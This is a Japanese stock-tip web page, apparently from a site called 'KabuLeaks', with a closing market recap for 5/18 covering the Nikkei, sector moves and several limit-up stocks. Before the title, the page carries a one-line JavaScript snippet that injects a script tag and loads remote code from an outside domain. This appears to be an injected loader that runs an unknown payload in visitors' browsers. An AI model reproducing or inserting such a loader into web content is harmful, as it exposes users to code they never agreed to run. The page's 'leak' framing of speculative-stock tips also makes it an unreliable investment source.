;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【5/18 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【5/18 大引け】

本日の日経平均株価は8円安と3日ぶり小反落。後場は【7269】スズキの燃費データに関する不正報道やマザーズ市場の急落から投資家心理が悪化し、急速に上げ幅を縮小しマイナス転換。一時前場の安値割れる場面もあったが大引けにかけ押し目買いから下げ幅を縮小した。業種別では、鉱業、銀行業、海運業が値上がり上位に。一方で、電気・ガス業、情報・通信業、サービス業が値下がり上位となった。

個別では、豊通エレクトロニクスとのIPSL共同開発を引き続き好材料視された【3652】ディジタルメディアプロフェッショナルや今期経常は79%増益・2円増配を好感された【3895】ハビックスがストップ高。また、5月25~28日に東京ビッグサイトで同時開催される「ワイヤレスジャパン2016」および「ワイヤレス・テクノロジー・パーク2016」、「IDE Tokyo ドローンソリューション&技術展」に出展すること材料視された【4748】構造計画研究所が一時ストップ高の大幅高となったほか、大幅な自社株買いから【4800オリコンなどの上昇も目立った。

今晩はFOMC議事録の発表があるほか、明日は国内で3月機械受注が公表される。特にFOMC議事録後の為替動向にまず注目が集まる。マザーズ市場、ほぼ崩壊となってしまったがそろそろ短期的リバウンド狙いも。主力は引き続き政策期待などから底高く推移する可能性が高そうだ。